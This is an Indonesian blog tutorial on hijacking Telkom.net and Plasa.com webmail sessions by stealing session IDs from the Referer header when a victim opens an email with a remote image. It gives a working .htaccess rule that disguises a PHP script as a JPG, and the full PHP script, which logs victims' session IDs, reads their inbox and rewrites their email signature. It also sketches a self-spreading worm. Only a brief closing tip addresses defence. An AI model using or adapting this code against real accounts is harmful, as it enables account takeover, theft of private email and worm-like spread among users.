Telkom.net dan Plasa.com
adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna
email telkomnet dan plasacom patut waswas, karena amat mudah untuk
menghack email di sana. Hanya dengan membuka sebuah email yang telah
dirancang khusus oleh attacker, email anda bisa menjadi milik attacker.
Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara
mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar
terhindar dari serangan itu.
Webmail Session Hijacking
Teknik hacking email dalam artikel ini adalah dengan
cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan
pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com
yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan
ini.
Karena http adalah protokol yang stateless, sedangkan
untuk membuat session server harus bisa memantau state user, maka
digunakanlah session ID sebagai kunci atau penanda suatu session. Bila
sessionID diketahui attacker, maka attacker bisa menguasai session
korban. Orang lain, siapapun yang membawa sessionID anda, akan dianggap
oleh server sebagai anda. Hijacking session adalah usaha untuk
mendapatkan session ID korban, dengan cara predicting, capturing, atau
fixating session ID.
SessionID diberikan oleh server dan harus
dikembalikan lagi oleh browser (client) setiap kali membuat request.
Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan
dua cara:
- Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
- URL Rewriting: Server menyisipkan session ID dalam
halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan
dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya
bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:
<A href="http://www.somesite.com/inbox.php?PHPSESSID=xxxxxxxxx">INBOX</A>
SessionID paling aman disimpan dan dikirim kembali ke
server dalam bentuk cookie, apalagi bila cookie tersebut diamankan
dengan bit secure atau httponly. Kemungkinan serangan yang bisa
dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing
attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan
httponly.
Bila cookie telah diamankan dengan secure bit, maka
cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya
dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan
serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila
cookie hanya dilindungi dengan httponly, maka cookie itu aman dari
serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http
biasa.
Berbeda dengan cookie, menyimpan Session ID dalam URL
sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan
dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa
bocor ke tempat lain melalui header Referer. Sebab header Referer
bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu
halaman terjadi request untuk mengambil gambar, maka header Referer akan
mengandung URL dari halaman tersebut. Dalam artikel ini saya akan
menggunakan jurus header Referer untuk membajak session webmail
Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat
header ini dengan program statistic seperti Awstats untuk melihat
pengunjung situs berasal dari situs mana saja.
SessionID webmail Telkom.net dan Plasa.com disimpan
pada URL sehingga memudahkan pembajakan session. Mari kita lihat
bagaimana bentuk URL webmail telkom.net dan plasa.com:
Stealing SessionID from Referer Header
Session ID pada URL telkom.net dan plasa.com
disisipkan setelah /Session/ hingga karakter / (slash). Sekarang
bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban
di browsernya? Di awal saya sudah menyebutkan sekilas tentang header
request yang bernama Referer. Tugas dari header ini adalah mengirimkan
URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat
sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
Kemudian ketika terjadi request ke sebuah file image:
Maka pada request GET tersebut akan ada header seperti di bawah ini:
0 1 2 3 4 5 6 7 8 9 10 11 |
GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1 Host: mail.telkom.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX& Cache-Control: max-age=0 |
Pada baris ke-10 terdapat header Referer yang
menunjukkan bahwa request tersebut terjadi ketika kepada user sedang
berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif,
maka web server mail.telkom.net tempat file batal.gif tersebut berada,
dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan
apa yang terjadi bila request tersebut bukan mendownload image dari
mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com
tentu akan mendapatkan URL tempat terjadinya request dari header
Referer. Dan karena URL tersebut mengandung Session ID, maka dengan
mudah attacker akan membajak session anda.
Attack Scenario
Webmail telkom.net dan plasa.com menggunakan URL
sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban
untuk membuka sebuah email yang mengandung gambar yang berlokasi di
server attacker. Tag IMG tersebut akan membuat browser korban melakukan
request ke server attacker, dengan tentu saja mengirimkan URL korban
dalam header Referer. Dengan mengetahui session ID korban, attacker
dengan mudah menguasai account webmail korban.
Preparing the Script
Sebelum bisa melakukan serangan, yang pertama harus
dilakukan adalah menyiapkan server side script sebagai target request
untuk menangkap SessionID korban. Server side script ini akan
di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache
(.htaccess). Server side script yang dimasking sebagai file JPG inilah
yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila
korban membaca email attacker, maka akan terjadi request ke server side
script itu, sehingga attacker bisa mendapatkan session ID korban dan
menguasai emailnya.
URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php.
Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini
masking checkmail.php menjadi image.jpg bisa dilakukan:
1 2 3 |
RewriteEngine On RewriteBase / RewriteRule mylab/image.jpg mylab/checkmail.php |
Berikutnya saya harus menyiapkan file checkmail.php.
Tugas dari script php itu adalah mendapatkan session ID kemudian
langsung membajak session korban bermodalkan session ID tersebut.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
<?php // Ambil header Referer $ref = $_SERVER["HTTP_REFERER"]; $telkomnet = false; $plasacom = false; $width = 468; $height = 100; if (strpos($ref,“telkom.net”)>-1) { $telkomnet = true; } if (strpos($ref,“plasa.com”)>-1) { $plasacom = true; } if ($telkomnet===false && $plasacom===false) { exit(); } $file = fopen(“daftarkorban.txt”,“a”); $url_tokens = parse_url($ref); $host = $url_tokens["host"]; $tokens = explode(“/”,$ref); $sessid = $tokens[4]; fwrite($file,“######\n“); fwrite($file,“REFERER:”.$_SERVER["HTTP_REFERER"].“\n“); fwrite($file,“SESSID:”.$sessid.“\n“); $urlhost = “http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&”; $inboxhtml = file_get_contents($urlhost); preg_match(‘/<title>(.*?)<\/title>/i’, $inboxhtml, $matches); $title=$matches[1]; $email = $title; $pos = strpos($title,” “); if ($pos > -1) { $email = substr($title,0,$pos); } fwrite($file,“KORBAN:”.$email.“\n“); fwrite($file,“******\n“); fclose($file); $image = ImageCreate($width, $height); $white = ImageColorAllocate($image, 255, 255, 255); $black = ImageColorAllocate($image, 0, 0, 0); $grey = ImageColorAllocate($image, 204, 204, 204); ImageFill($image, 0, 0, $black); ImageString($image, 3, 15, 5, $sessid, $white); ImageString($image, 3, 25, 25, $email, $white); // Writing Signature… $url = “http://mail.telkom.net/Session/$sessid/settings.wssp”; if ($plasacom==true) { $url = “http://mail1.plasa.com/Session/$sessid/settings1.wssp”; } $old_settings = file_get_contents($url); preg_match(‘/<textarea(.*?)>(.*?)<\/textarea>/i’, $old_settings, $matches); $oldsig = $matches[2]; $data = array(); $data["UserFrom"] = $email; $newsig = “[YOUR EMAIL HAS BEEN HACKED]“.$oldsig; $data["Signature"] = $newsig; $data["Update"] = “Update”; $response = doPost($url,$data); if ((strpos($response,“Updated”)>-1 && $telkomnet==true) || $plasacom==true) { ImageString($image, 3, 35, 50, “Signature anda berhasil diganti menjadi:” , $white); ImageString($image, 3, 45, 65, $newsig , $white); } header(“Content-Type: image/jpeg”); ImageJpeg($image); ImageDestroy($image); function doPost($url,$data) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); if(curl_errno($ch)) { $response = curl_error($ch); } curl_close($ch); return $response; } ?> |
Cara kerja script di atas adalah: Pada baris ke-3 isi
header Referer diambil. Kemudian dibuat dan dibuka file
daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada
baris ke-22, session ID diambil dari header referer. Setelah session ID
didapatkan kini script bisa mengubah signature korban, dengan cara
mengirimkan POST request ke http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp,
perhatikan baris ke-65. Setelah mengubah signature korban, pada baris
ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature
anda berhasil diganti menjadi:”.
Launch The Attack
Oke, kini semua persiapan sudah siap. Kini saatnya
kita melancarkan serangan dengan mengirimkan email html yang mengandung
tag IMG. Dalam contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah rizki.wicaksono@plasa.com.
Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan
email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut
ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan
ditujukan untuk korban.
Dalam gambar tersebut email diisi dengan tag HTML
IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible
dengan memberikan atribut width dan src 0. Dengan membuat image menjadi
invisible, korban tidak akan menyadari bahwa emailnya telah dibajak.
Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini
adalah isi tanda tangan (signature) email korban sebelum email dibuka.
Dan gambar berikut adalah gambar ketika email attacker tiba.
Dan gambar berikut adalah gambar ketika email
attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session
id korban dan pesan bahwa signature korban berubah tertulis dalam file
image.jpg.
Pada saat korban membuka email dari attacker, pada
saat itu juga attacker menguasai penuh account email korban. Dalam
contoh artikel ini attacker mengubah signature korban dengan menambahkan
string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar
signature korban setelah korban membuka email attacker.
Worm Attack: More Dangerous Scenario
Skenario serangan yang lebih berbahaya adalah bila
attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat
bahwa ketika attacker mendapatkan session ID, pada saat itu attacker
memiliki power yang setara dengan korban. Dengan session korban,
attacker bisa mengirimkan email serangan yang sama ke calon korban lain
yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka
email itu, maka session dia juga dalam genggaman attacker dan dia juga
akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi
berantai yang berbahaya.
Sulitkah membuat worm seperti itu? Tidak sulit kok,
mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST
dengan berbekal session ID korban. Attacker harus membaca phone book
dengan mengirim request HTTP (GET/POST) dengan session ID korban.
Setelah itu attacker akan mengirimkan email serangan ke teman-teman
korban juga dengan melakukan request HTTP dengan session ID korban.
Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah
sering memprogram.
Tips Menghindari Serangan
Karena serangan ini dilakukan dengan membajak session
web, maka serangan ini hanya bisa dilakukan bila korban membaca email
telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari
serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email.
Dengan menggunakan email client non-web seperti Thunderbird dan Outlook
anda akan aman dari serangan ini
No comments:
Post a Comment